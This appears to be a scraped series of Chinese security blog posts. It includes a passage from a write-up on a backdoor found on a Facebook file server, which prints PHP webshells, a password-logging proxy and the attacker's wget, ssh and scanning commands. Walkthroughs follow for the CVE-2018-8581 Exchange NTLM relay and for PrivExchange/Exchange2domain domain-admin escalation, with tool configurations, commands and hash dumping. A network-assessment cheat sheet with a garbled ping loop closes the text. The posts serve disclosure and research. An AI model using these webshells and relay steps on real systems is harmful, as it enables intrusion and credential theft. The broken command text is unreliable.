中看到一些奇怪的 PHP 错误信息,从错误信息来看似乎像是更改 Code 所执行产生的错误。 PHP error log 跟随错误信息的路径分析,发现疑似前人留下的 Webshell 后门 Webshell on facebook server 其中几个文件的内容如下: sshpass 沒錯,就是那個 sshpass bN3d10Aw.php <?php echo shell_exec($_GET['c']); ?> uploader.php <?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?> d.php <?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?> sclient\_user\_class\_standard.inc <?php include_once('sclient_user_class_standard.inc.orig'); $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); $retries = 0; $max_retries = 100; // 省略... fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); // 省略... 前几个就是很标准的 PHP 一句话木马 其中比较特别的是 “sclient_user_class_standard.inc” 这个文件。 include_once 在 “sclient_user_class_standard.inc.orig” 中为原本对密码进行验证的 PHP 程序,骇客做了一个 Proxy ,并在中间进行一些重要操作时先把 GET, POST, COOKIE 的值记录起来。 整理了一下,骇客在密码验证的地方做了一个 Proxy ,并且记录 Facebook 员工的帐号密码,并且将记录到的密码存储到 Web 目录下,骇客每隔一段时间使用 wget 抓取 wget https://files.fb.com/courier/B3dKe9sQaa0L.log Logged passwords 从日志记录里面可以看到除了使用者帐号密码外,还有从 FTA 文件时的邮件内容,记录到的帐号密码会定时 Rotate (后文会提及,这点还是XD) 发现最近一次的 Rotate 从 2/1 记录到 2/7 共约 300 条帐号密码纪录,大多都是 “@fb.com” 或是 “@facebook.com” 的员工账号密码,这事觉得事情有点严重了,在 FTA 中,使用者的登入主要有两种模式 一般用户注册,密码 Hash 存在资料库,由 SHA256 + SALT 储存 Facebook 员工 (@fb.com) 则走统一认证,使用 LDAP 由 AD 认证 在 这日志记录中有真实的员工帐号密码被泄露,**猜测** 这份帐号密码应该可以通行 Facebook Mail OWA, VPN 等服务做更进一步的渗透… 此外,这名 “骇客” 可能习惯不太好 :P 后门参数皆使用 GET 来传递,在网页日志可以很明显的发现其足迹 骇客在进行一些指令操作时没考虑到 STDERR ,导致网页日志中很多指令的错误信息,从中可以查看到骇客做了哪些操作 从 access.log 可以观察到的每隔数日骇客会将记录到的帐号密码清空 192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ... 打包文件: cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout tar -czvf files.tar.gz files 对内部网路结构进行探测 dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ... 使用 Shell Script 进行内网扫描,但忘记把 STDERR 清理掉XD 尝试对内部 LDAP 进行连接 sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout' 尝试访问内部网路资源 ( 看起来 Mail OWA 可以直接访问 …) --20:38:09-- https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10-- https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT' 0K ........ 100% 1.17G=0s 20:38:10 (1.17 GB/s) - `-' saved [8902/8902] --20:38:33-- (try:15) https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03-- https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying. 尝试对 SSL Private Key 渗透 sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input 从浏览器观察 files.fb.com 的证书凭证还是 Wildcard 的 *.fb.com … 0x03 后记总结 在收集完足够证据后,便立即把它报告给 Facebook 安全团队,报告内容除了漏洞细节外,还附上相对应的 Log 、截图以及时间纪录xD 从服务器中的日志可以发现有两个时间点是明显骇客在操作系统的时间,一个是七月初、另个是九月中旬 七月初的动作从纪录中看起来比较偏向 “寻找” 服务器,但九月中旬的操作就比较恶意了,除了“寻找”外,还放置了密码 Logger 等,至于两个时间点的 “骇客” 是不是同一个人就不得而知了 :P 而七月发生的时机点正好接近 CVE-2015-2857 Exploit 公布前,究竟是通过 1-Day 还是 0-Day 入侵系统也无从得知了。这件事情就记录到这裡,总体来说这是一个非常有趣的经历xD ,也让我有这个机会可以来写写关于渗透的一些文章 :P 最后也感谢 Bug Bounty 及胸襟宽阔的 Facebook 安全团队 让我可以完整记录这起事件 : ) from: https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script/?nsukey=5NM2ZFQEZLPQ7mcmGswAsQLSfJ6JKitA5HKibNPhsO7gQgESROjHqv9cEodQT1jX75liogmpdO0JO8IT%2FlsdHh6GbB4z3tBrcCap75N31A8wUpIyEgkdNeDPAGg8Svzsal%2BIOOtMlzXgeGClqumPOx%2BDJcIlSpWRkSxpYBJVdIHtLyS8CBHlquNylUuCG17WlkdbJGS6%2BydXvTIaNbqxYQ%3D%3D
  19. 0x00 前言 这是我们2018年Top 5趣案系列中的第三个案例。这些漏洞都有一些因素使它们从今年发布的大约1,400个报告中脱颖而出。今天我们将分析一个Exchange漏洞,它允许任何经过身份验证的用户冒充Exchange Server上的其他用户。 在ZDI的Dustin Childs 12月的文章 中,他提到了一个Exchange漏洞,允许Exchange服务器上的任何用户冒充该Exchange服务器上的任何人。虽然这个漏洞可以用于一些内网的劫持,但这个漏洞更有可能被用于钓鱼活动、窃取数据或其他恶意软件操作。作为2018年Top 5趣案系列的一部分,本文深入研究了这个SSRF(服务器端请求伪造)漏洞的细节,并展示了冒充过程是如何实现的。 0x01 漏洞分析 该漏洞是由SSRF漏洞和其他漏洞相结合造成的。Exchange允许任何用户为推送订阅指定所需的URL,服务器将尝试向这个URL发送通知。问题出在Exchange服务器使用CredentialCache.DefaultCredentials进行连接: 在Exchange Web服务中,CredentialCache.DefaultCredentials在NT AUTHORITYSYSTEM上运行。这将导致Exchange Server向攻击者的服务器发送NTLM散列。Exchange服务器还默认设置了以下注册表项:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1 这允许我们使用这些NTLM散列来进行HTTP身份验证。例如,可以使用这些散列来访问Exchange Web服务(EWS)。由于它在NT AUTHORITYSYSTEM级别运行,攻击者可以获得TokenSerializationRight的“特权”会话,然后可以使用SOAP请求头来冒充任何用户。 下面是这样一个SOAP请求头的例子,它用SID S-1-5-21-4187549019-2363330540-1546371449-500冒充管理员。 0x02 漏洞利用 为了演示,我们将使用几个Python脚本: serverHTTP_relayNTLM.py– 通过入站连接获取NTLM散列并用于EWS身份验证 exch_EWS_pushSubscribe.py – 导致PushSubscription EWS调用serverHTTP_relayNTLM.py 你可以在这里下载这些脚本。你还需要python-NTLM模块。 漏洞的第一步是获取我们要冒充的用户的SID。一种可能的使用方法是这样的: 1.以授权用户身份登录OWA。在这里,我们以“攻击者”身份登录: 2.接下来,创建任意新文件夹。在这个例子中,我们使用了temfold。点击context中“Permissions…”选项: 3.在这里,添加要冒充的人的电子邮件。我们的目标是受害者[email protected]: 4.现在我们需要按F12键并选择Network选项。然后在新文件夹中再次选择context中“Permissions…”选项。 5.我们需要检查第一个service.svc?action=GetFolder请求的响应。查看方法: Body->ResponseMessages->Items->0->Folders->0->PermissionSet->Permissions->N->UserId->SID 在这个例子中,N是2(最新的),但是你可以全部检查一遍以便找到正确的。PrimarySmtpAddress应该是理想的受害者。如果响应不包含PermissionSet项,则需要检查另一个service.svc?action=GetFolder请求。 6.我们将在serverHTTP_relayNTLM.py中使用这个SID来冒充受害者。另外,我们还需要选择在攻击者控制的计算机上不太可能被阻止的TCP端口,这些端口将允许Exchange Server上的外部连接。例如,TCP端口8080可能可用。现在,让我们用真实信息更改serverHTTP_relayNTLM.py中的下一行: #Port for the HTTP server #Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py HTTPPORT = 8080 #You have to replace next values by valid ip/address, port and protocol ('http' or 'https') to EWS target_ip='exch2016.contoso.local' target_port = 443 PROTO='https' #PROTO='http' #Path to EWS URL = "/EWS/Exchange.asmx" #SMTP addresses of attacker mailbox (we will receive all emails sent to victim) ATTACKER = "[email protected]" VICTIM_SID = "S-1-5-21-4187549019-2363330540-1546371449-2604" 一旦脚本有了正确的变量,就可以启动了: 7.下一步是在Exch_EWS_PushSubscribe.py脚本中设置适当的变量: #You have to replace next values by valid ip/address, port and protocol ('http' or 'https') ip='exch2016.contoso.local' tcp_port = 443 #PROTO='http' PROTO='https' #Credentials of attacker USER = 'attacker' DOMAIN = 'contoso.local' PASS = 'P@ssw0rd' URL = "/EWS/Exchange.asmx" #URL of our HTTP server that will use NTLM hashes for impersonation of victim EVIL_HTTPSERVER_URL = "http://192.168.50.173:8080/test" 一旦完成,我们就可以执行以下脚本: 8.最后一步。我们需要一些事件触发推送通知。如果可以等待一段时间,或者我们也可以执行一些操作,比如创建和发送新的电子邮件,或者删除我们的新文件 如果成功,我们应该接收从Exchange服务器到serverHTTP_relayNTLM.py的入站连接: 如果攻击成功,我们将在最后一个响应中看到UpdateInboxRulesResponse ResponseClass=“Success”。这意味着入站规则已添加到受害者邮箱中,所有入站电子邮件都将转发给攻击者。 现在一切就绪,是时候测试了。我们需要从任意帐户向受害者发送电子邮件,但与我们新规则中的目的地不相同(在本例是[email protected]),因为如果源和目的地是相同的地址,则该规则不会转发电子邮件。让我们以管理员身份登录并向受害者发送一些“敏感”信息: 检查攻击者的收件箱,我们看到消息成功转发: 正如我们所看到的,新的邮件被转发给攻击者。类似的结果可以通过其他EWS API实现,比如AddDelegate或将编辑权限分配给目标文件夹。 0x03 补丁 微软将该漏洞分配为CVE-2018-8581,并在11月份发布时给出缓解措施。实际上这个漏洞还没有修补程序。相反,Microsoft强调应该删除注册表项。删除这个键可启用回送检查。回想上面的内容,Exchange服务器默认设置了以下注册表项: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1 如果删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck键,则漏洞不可以。若要删除注册表项,请在CMD窗口中输入以下命令: 删除密钥后不需要重新启动或Exchange Server。公告指出,将来Exchange的更新在默认情况下将不再启用注册表项。 0x04 总结 电子邮件已经成为我们商业生活的核心组成部分,Exchange Server多年来一直是一个热门的目标。该漏洞允许冒充用户,通过以前报告的漏洞允许任意代码执行。这两种情况都表明,有时最大的安全风险来自内部。这些漏洞还展示了外部攻击者如何从单个入口点在整个企业中扩散。
  20. 0x00 前言 在大多数的Active Directory和Exchange中,Exchange服务器具有很高的权限,即Exchange服务器上的管理员可以很容易地将权限提升到域管理员权限,我在zdi网站上看到了一篇博文,其中详细介绍了一种让Exchange通过HTTP使用NTLM对攻击者进行身份验证的方法。这可以与NTLM中继相结合,从拥有邮箱的任何用户可以提权到域管理员权限,在我见过的使用Exchange的企业组织中,可能有90%的企业组织使用邮箱将用户可升级到域管理员权限,默认情况下,此攻击是可能的,可以应用防御措施来阻止此权限的提升。文本详细介绍了这次攻击和一些更技术的细节和防御措施,以及为这次攻击写了一个验证工具,我将其称为“PrivExchange”。(已对PrivExchange进行打了补丁也可用,请参阅“已发布的更新”部分) 0x01 以新方法利用已知漏洞 本文将一些已知的漏洞和已知的协议漏洞合并成一个新的攻击。有三个模块组合在一起,可从有邮箱的任何用户提权到域管理员访问权限: ·默认情况下,Exchange Server拥有高权限 ·NTLM身份验证容易受到中继 ·Exchange具有一项功能,即可以使用Exchange服务器的计算机帐户对攻击者进行身份验证 1.Exchange和高权限 这里的主要漏洞是Exchange在Active Directory域中具有高权限。Exchange Windows权限组对Active Directory中的域对象具有writedacl访问权限,该对象允许该组的任何成员修改域权限,其中包括执行dcsync操作的权限。具有此权限的用户或计算机可以执行通常由域控制器用于复制的同步操作,从而允许攻击者同步Active Directory中用户的所有哈希密码。这已经被一些研究人员所发现(参见本文末尾的参考文献部分),去年我和我的Fox-IT同事Rindert一起写过一篇博文。在那篇文章中,我还发布了对ntlmrelayx的更新,这增加了在NTLM中继时执行这些基于访问控制列表(ACL)的攻击的可能性。 2.NTLM中继计算机帐户 NTLM中继已经存在一段时间了。以前,主要关注的是通过SMB中继NTLM身份验证,以便在其他主机上执行代码。不幸的是,在许多公司网络中,这仍然是存在的,这些网络没有通过启用SMB签名来加固,其他协议也容易受到中继。在我看来,最有趣的协议是LDAP,它可以用来读取和修改(Active)目录中的对象。如果你需要了解关于NTLM中继的更新信息,你可以在我不久前写的一篇博客中查找到它。简而言之是,除非应用了防御措施,则可以通过Windows(当自动时)将攻击者的计算机连接到网络中的其他计算机时执行(自动)身份验证,如下图所示: 当身份验证到中继LDAP时,可以修改目录中的对象以授予攻击者权限,包括DCSync操作所需的权限。因此,如果我们可以让Exchange服务器通过NTLM身份验证向我们进行身份验证,我们就可以执行ACL攻击。应该注意的是,仅当受害者通过HTTP而不是通过SMB对我们进行身份验证时,才能中继到LDAP。 3.Exchange进行身份验证 到目前为止唯一缺少的组件是一种简单的方法,可以让Exchange对我们进行身份验证。ZDI的一位研究人员(在他们的文章中未透露姓名)发现,通过Exchange pushsubscription特性,可以让Exchange通过HTTP对任意URL进行身份验证。在他们的博客文章中,他们使用此漏洞将NTLM身份验证中继到Exchange(这称为反射攻击)并模拟其他用户。如果我们将此与默认情况下Exchange具有的高权限相结合并执行中继攻击而不是反射攻击,那么我们可以使用这些权限为自己授予DCSync权限。推送通知服务有一个选项,即每隔X分钟发送一条消息(攻击者可以指定X),即使没有发生任何事件。即使收件箱中没有活动,这也可确保Exchange连接到我们。 0x02 执行权限提升攻击 下面显示了上述攻击的示意图,显示了提升权限所执行的步骤: 我们需要两个工具来执行攻击:privaexchange.py和ntlmrelayx。您可以在GitHub上同时获得PrivExchange和impacket库。以域控制器上的LDAP作为目标,在中继模式下启动Ntlmrelayx,并提供受攻击者控制的用户以进行权限提升(在本例中为NTU用户) ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu 现在我们运行priveexchange.py脚本: user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local Password: INFO: Using attacker URL: http://dev.testsegment.local/privexchange/ INFO: Exchange returned HTTP status 200 - authentication was OK ERROR: The user you authenticated with does not have a mailbox associated. Try a different user. 当与没有邮箱的用户一起运行时,我们将得到上述错误。让我们再次尝试与有邮箱关联的用户: user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local Password: INFO: Using attacker URL: http://dev.testsegment.local/privexchange/ INFO: Exchange returned HTTP status 200 - authentication was OK INFO: API call was successful 一分钟后(这是为推送通知提供的值),我们看到ntlmrelayx的连接,它为我们的用户提供DCSync权限: 我们使用secretsdump确认DCSync可以导出其hash值 使用所有Active Directory用户的所有哈希密码,攻击者可以创建黄金票据来模拟任何用户,或使用任何用户密码哈希对任何接受域中的NTLM或Kerberos身份验证的服务进行身份验证。 0x03 中继到LDAP和签名攻击 我在之前提到过从smb到ldap的中继不起作用,这也是为什么不能使用例如最近发布的滥用SpoolService RPC来执行此攻击的原因(因为这是通过smb进行身份验证)。由于有关这方面的问题不断出现,并且对此有很多疑惑,让我们来看看为什么会这样。如果您不想深入了解NTLM身份验证,请跳过本节:) SMB和HTTP中的NTLM身份验证之间的区别在于默认协商的标识。有问题的部分是NTLMSSP_NEGOTIATE_SIGN flag(0x00000010),记录在MS-NLMP第2.2.2.5节中。默认情况下,HTTP上的NTLM身份验证不会设置此标识,但如果在SMB上使用此标识,则默认情况下将设置此标识: 当我们将其中继到LDAP时,身份验证将成功,但LDAP将使用所有从密码派生的会话密钥(在中继攻击中我们没有此密钥)对所有消息进行签名。因此,它将忽略没有签名的任何消息,从而导致我们的攻击失败。有人可能想知道是否有可能在传输过程中修改这些标识,这样签名就不会被协商。这在Windows的当前版本中不起作用,因为它们默认包含MIC(消息完整性检查),它是基于所有3个NTLM消息的签名,因此任何消息中的任何修改都将使其无效。 我们可以删除MIC吗?是的,我们可以,因为它不在NTLM消息的受保护范围内。然而,在NTLM身份验证(仅限NTLMv2)中有一个最后的保护可以防止这种情况:在NTLMv2响应的处,它本身有受害者的密码签名,有一个AV_PAIR被调用的结构,成为MsvAvFlags。当此字段的值为0x002时,表示客户端发送了MIC以及类型3消息。 修改NTLMv2响应将使身份验证无效,因此我们无法删除此标识字段。标识字段表示计算机中包含MIC,这将使目标服务器验证MIC,进而验证所有3条消息在传输过程中未被修改,因此我们无法删除签名标识。 这适用于(我认为)只有Microsoft下的NTLM。实现NTLM的自定义很可能不会降低添加MIC和AV_PAIR标识的等级,这使得它们容易受到标识修改的影响,从而使SMB-> LDAP中继成功的可能。这方面的一个例子是以Java实现的NTLM攻击,它可以在传输过程中进行修改以绕过安全防御措施。 0x04 在没有任何凭据的情况下执行攻击 在上一节中,我们使用泄露的凭证来执行攻击的第一步。如果攻击者只能执行网络攻击,但没有任何凭据,则仍可以触发Exchange进行身份验证。如果我们执行SMB-to-HTTP(或HTTP-to-HTTP)中继(使用llmnr/nbns/mitm6欺骗),我们可以将同一网段中用户的身份验证中继到Exchange EWS并使用其凭据触发回调(感谢Mark标记提出此问题!).我已对httpattack.py进行了一个小的修改,您可以使用Ntlmrelayx执行攻击,而不需要任何凭据(您只需要修改攻击者主机,因为它在文件中是已预编译的) 0x05 工具使用说明 1.工具和受影响的版本 可以在https://github.com/dirkjanm/PrivExchange上找到验证工具。在以下Exchange / Windows版本上进行了测试:: ·Server 2012R2上的Exchange 2013(CU21),中继到Server 2016 DC(已完全修补) ·Server 2016上的Exchange 2016(CU11),中继到Server 2019 DC(已完全修补) ·Server 2019上的Exchange 2019,中继到Server 2019 DC(感谢@gentilkiwi进行测试,已完全修补) 上面的Exchange服务器是使用共享权限模式(这是默认模式)安装的,但是根据这种写入操作,RBAC拆分权限部署也很容易受到攻击(我没有亲自测试过)。 Exchange 2010 SP3似乎不受影响,在我的实验室中,此版本协商了类似于上文所述的SMB的签名,从而中断了中继(感谢@lean0x2f提出此问题)。14.3.435.0版(编写本文时的最新更新)和14.3.123.4版都显示了这种结论。 发布更新: 在2019年2月12日,Microsoft发布了Exchange更新,通过在发送通知时删除自动身份验证Exchange来解决这些问题。这涉及以下Exchange版本: ·Exchange Server 2019更新版本 ·Exchange Server 2016更新版本12 ·Exchange Server 2013更新版本22 ·Exchange Server 2010 Service Pack 3更新汇总26 此外,需要检查了Exchange所需的权限,并决定减少这些权限,以便Exchange在AD中不再具有过高的AD权限。对于现有的Exchange安装,需要从更新的安装程序再次运行setup.exe/preparead,否则将不会删除这些权限。对于Exchange 2010,必须手动删除权限,可以在KB4490059中获得相关说明。 有关此修补程序的详细信息,请参阅Microsoft Exchange博客。 2.PrivExchange使用 2.1 安装要求 这些工具需要打包。您可以使用命令pip install impacket进行安装,但建议使用github的最新版本。 2.2 privexchange.py 此工具只需登录Exchange Web服务即可订阅推送通知信息。这将使Exchange重新连接到服务器,并作为系统登录进行身份验证2.3 httpattack.py 攻击模块,可与ntlmrelayx.py一起使用,在没有凭据的情况下执行攻击。要使其正常运行: 修改httpattack.py中的攻击者URL,以指向将运行ntlmrelayx的攻击者服务器 从GitHub克隆 git clone https://github.com/SecureAuthCorp/impacket 将此文件复制到/impacket/impacket/examples/ntlmrelayx/attacks/目录中 cd impacket 用命令pip install . --upgrade 安装更新或用命令pip install -e . 安装修改后的impacket版本 3.Exchange2domain---简化版使用 一个简化的privexchange利用工具。您只需打开Web服务器端口,因此不需要高权限。 3.1 安装要求 这些工具需要打包。您可以使用命令pip install impacket进行安装(https://github.com/Ridter/Exchange2domain) 3.2 用法 usage: Exchange2domain.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD] [--hashes HASHES] [--no-ssl] [--exchange-port EXCHANGE_PORT] -ah ATTACKER_HOST [-ap ATTACKER_PORT] -th TARGET_HOST [-exec-method [{smbexec,wmiexec,mmcexec}]] [--exchange-version EXCHANGE_VERSION] [--attacker-page ATTACKER_PAGE] [--just-dc-user USERNAME] [--debug] HOSTNAME Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx positional arguments: HOSTNAME Hostname/ip of the Exchange server optional arguments: -h, --help show this help message and exit -u USERNAME, --user USERNAME username for authentication -d DOMAIN, --domain DOMAIN domain the user is in (FQDN or NETBIOS domain name) -p PASSWORD, --password PASSWORD Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied --hashes HASHES LM:NLTM hashes --no-ssl Don't use HTTPS (connects on port 80) --exchange-port EXCHANGE_PORT Alternative EWS port (default: 443 or 80) -ah ATTACKER_HOST, --attacker-host ATTACKER_HOST Attacker hostname or IP -ap ATTACKER_PORT, --attacker-port ATTACKER_PORT Port on which the relay attack runs (default: 80) -th TARGET_HOST, --target-host TARGET_HOST Hostname or IP of the DC -exec-method [{smbexec,wmiexec,mmcexec}] Remote exec method to use at target (only when using -use-vss). Default: smbexec --exchange-version EXCHANGE_VERSION Exchange version of the target (default: Exchange2013, choices:Exchange2010,Exchange2010_SP1,Exchange2010_SP2 ,Exchange2013,Exchange2013_SP1,Exchange2016) --attacker-page ATTACKER_PAGE Page to request on attacker server (default: /privexchange/) --just-dc-user USERNAME Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. --debug Enable debug output 例如: python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip 如果您只想转储krbtgt,请使用--just-dc-user: python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip 0x06 防御措施 在之前的博客中,我已经强调了针对NTLM中继的几种防御方法,特别是针对中继到LDAP的防御。 适用于此攻击的最重要防御措施是: ·从已打补丁的Exchange CU中执行setup.exe/preparead,删除Exchange对域对象不必要的高权限(有关详细信息,请参阅下文) ·启用LDAP签名并启用LDAP通道绑定,以阻止分别中继到LDAP和LDAPS ·阻止Exchange服务器与任意端口上的客服端建立连接。 ·在IIS中的Exchange端点上启用身份验证的扩展保护(但不是Exchange后端端点,将中断Exchange)。这将验证NTLM身份验证中的通道绑定参数,该参数将NTLM身份验证绑定到一个TLS连接,并阻止中继到Exchange Web服务。 ·删除注册表项,这样可以将中继返回到Exchange服务器,如微软防御CVE-2018-8518中所述。 ·在Exchange服务器上执行SMB签名(最好是域中的所有其他服务器和工作站),以防止对SMB的跨协议中继。 ·如果未使用EWS推/接收订阅,可以通过使用限制策略将EWSMaxSubscriptions设置为0来禁用它们,如@gentilkiwi 在此处所发现的那样。我还没有测试过合法应用程序使用了多少这样应用程序,因此建议使用较小的用户范围对其进行测试。 0x07 参考文献 https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/ https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/ https://github.com/SecureAuthCorp/impacket https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/ https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange https://github.com/dirkjanm/privexchange/ https://github.com/leechristensen/SpoolSample/ https://conference.hitb.org/hitbsecconf2018dxb/materials/D2T2%20-%20NTLM%20Relay%20Is%20Dead%20Long%20Live%20NTLM%20Relay%20-%20Jianing%20Wang%20and%20Junyu%20Zhou.pdf https://github.com/SecureAuthCorp/impacket/issues/451 https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange https://github.com/SecureAuthCorp/impacket/pull/500 https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/ https://www.secureauth.com/blog/playing-relayed-credentials https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md https://support.microsoft.com/en-us/help/4490059/using-shared-permissions-model-to-run-exchange-server https://techcommunity.microsoft.com/t5/Exchange-Team-Blog/Released-February-2019-Quarterly-Exchange-Updates/ba-p/609061
  21. 0x01 前言 红蓝对抗的思想最早可追溯到我国现存最早的一部兵书《孙子兵法》,在孙子·谋攻篇有这么一句话:“知彼知己,百战不殆;”,意为如果对敌我双方的情况都能了解透彻,打多少次仗都不会失败。在信息安全领域目前大家都有一个共识:“未知攻,焉知防”,攻防对抗本身是一个持续的过程,在具体的对抗中,对对手了解越多就会占据主导地位。红蓝对抗的主要目的在于,提高公司安全成熟度及其检测和响应攻击的能力。Red Teams attack, and Blue Teams defend, but the primary goal is shared between them: improve the security posture of the organization. 0x02 准备工作 1 ) 组织结构图 2 ) 全网拓扑图 3 ) 各系统逻辑结构图 4 ) 各系统之间的调用关系 5 ) 数据流关系 6 ) 核心资产清单 7 ) 应急响应计划 8 ) 业务连续性计划 9 ) 灾难恢复计划 0x03 简单安全评估 1.端口扫描和漏洞检测 1.1主机发现(Ping探测) # nmap -sn -PE IP地址或地址段 1.2端口扫描 # nmap –open IP地址或地址段 1.3服务版本检测 # nmap -sV IP地址或地址段 1.4扫描多个端口 # nmap -p 80,443 IP地址或地址段 1.5 UDP扫描 # nmap -sU -p 53 IP地址或地址段 1.6 TCP/UDP扫描(-Pn 跳过主机发现) # nmap -v -Pn -SU -ST -p U:53,111,137,T:21-25,80,139,8080 IP地址或地址段 1.7 Nessus扫描 # nessus -q -x -T html 服务器IP 服务器端口 管理员帐号 密码 目标.txt 输出报告.html 1.8 OPENVAS扫描 # apt -y install pcregrep # wget https://goo.gl/TYbLwE # chmod +x openvas-automate.sh && ./openvas-automate.sh 目标IP 2. WINDOWS系统篇 2.1 网络发现 基本网络发现: # C:> net view /all # C:> net view 主机名 Ping探测: # C:> for /L %I in (1,1,254) do ping -w 30 -n 1 192.168.1.%I | find "回复" >> 输出.txt 2.2 DHCP 启用DHCP服务器日志功能: # C:> reg add HKLMSystemCurrentControlSetServicesDhcpServerParameters /v ActivityLogFlag /t REG_DWORD /d 1 默认日志文件目录: C:> %windir%System32Dhcp 2.3 DNS 启用DNS服务器日志功能: # C:> DNSCmd DNS服务器名 /config /logLevel 0x8100F331 # 配置日志文件目录: C:> DNSCmd DNS服务器名 /config /LogFilePath C:dns.log # 配置日志文件大小: C:> DNSCmd DNS服务器名 /config /logfilemaxsize 0xffffffff 2.4 哈希值 文件校验和完整性验证(FCIV): Ref:http://support2.microsoft.com/kb/841290 # 单个文件: C:> fciv.exe 文件名 # 计算C盘所有文件并把结果保存到文件中: C:> fciv.exe c: -r -sha1 -xml 结果.xml # 列出所有hash值: C:> fciv.exe -list -sha1 -xml 结果.xml # certutil & PowerShell # certutil -hashfile 文件名 SHA1 # PS C:> Get-FileHash 文件名 | Format-List # PS C:> Get-FileHash -algorithm md5 文件名 2.5 NETBIOS nbtstat 扫描 # C:> nbtstat -A 目标IP地址 NetBIOS缓存 # C:> nbtstat -c 批量扫描 # C:> for /L %I in (1,1,254) do nbtstat -An 192.168.1.%I 2.6 微软基线安全分析器(MBSA) 扫描单个IP # C:> mbsacli.exe /target IP地址 /n os+iis+sql+password 扫描IP地址段 # C:> mbsacli.exe /r IP地址段 /n os+iis+sql+password 3. LINUX系统篇 3.1 网络发现 查看开放的SMB共享 # smbclient -L 目标主机名 Ping探测 # for ip in ip>/dev/null; [ Misplaced &ip UP" || : ; done 3.2 DHCP DHCP日志 RHEL/CentOS # cat /var/lib/dhcpd/dhcpd. leases Debian/Ubuntu # grep -Ei 'dhcp' /var/log/syslog.1 3.3 DNS DNS日志 # rndc querylog && tail -f /var/log/messages | grep named 3.4 哈希值 